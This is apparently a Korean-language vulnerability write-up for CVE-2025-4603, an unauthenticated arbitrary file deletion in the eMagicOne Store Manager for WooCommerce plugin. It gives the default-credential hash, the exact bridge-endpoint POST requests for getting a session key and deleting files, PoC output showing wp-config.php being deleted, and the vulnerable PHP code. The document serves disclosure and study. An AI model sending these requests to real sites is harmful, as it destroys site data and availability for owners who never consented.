
eMagicOne Store Manager for WooCommerce <= 1.2.5 - 인증되지 않은 임의 파일 삭제
eMagicOne Store Manager for WooCommerce 플러그인은 원격 관리 프로토콜 엔드포인트(?connector=bridge)를 노출하여 서버에서 파일 삭제 작업을 허용합니다. 인증 메커니즘은 기본 자격 증명 쌍(login=1, password=1)과 세션 키 시스템에 의존합니다. 기본 자격 증명이 변경되지 않은 경우 공격자는 쉽게 인증하여 세션 키를 얻고 WordPress 루트 또는 접근 가능한 디렉토리에서 임의의 파일을 삭제할 수 있습니다.
공격자가 wp-config.php를 삭제하는 것을 보여주는 POC CVE-2025-4603.py가 제공됩니다.
python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}
플러그인 활성화 시 smconnector.php에 다음 상수가 설정됩니다:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
인증에 사용되는 기본 해시는 다음과 같습니다:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
결과: 기본 해시는 md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b입니다.
세션 키는 해시와 작업(예: get_version)을 포함한 POST 요청을 브리지 엔드포인트로 보내 얻습니다:
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
관련 코드:
classes/class-emosmconnectorcommon.php (라인 ~441-525):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
세션 키는 wp_smconnector_session_keys 테이블에 저장됩니다:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
유효한 세션 키를 사용하면 공격자가 delete_file 작업을 사용하여 파일을 삭제할 수 있습니다:
POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php
관련 코드:
classes/class-emosmconnectorcommon.php (라인 ~2167+):
/** Delete file */
private function delete_file() {
if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
$this->generate_error( $this->br_errors['path_param_missing'] );
}
$filepath = (string) $this->shop_cart->get_request_param( 'path' );
if ( empty( $filepath ) ) {
$this->generate_error( $this->br_errors['path_param_empty'] );
}
$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;
if ( ! $this->shop_cart->file_exists( $filepath ) ) {
$this->generate_error( $this->br_errors['delete_file_error'] );
}
$this->shop_cart->delete_file( $filepath );
}
class-emosmcwoocommerceoverrider.php (라인 ~380+)::
public function delete_file($filepath) {
if (!file_exists($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
self::KEY_MESSAGE => 'File is missing on server',
)));
}
if (unlink($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::SUCCESSFUL,
self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
)));
}
}
결과: 파일이 서버에서 삭제됩니다.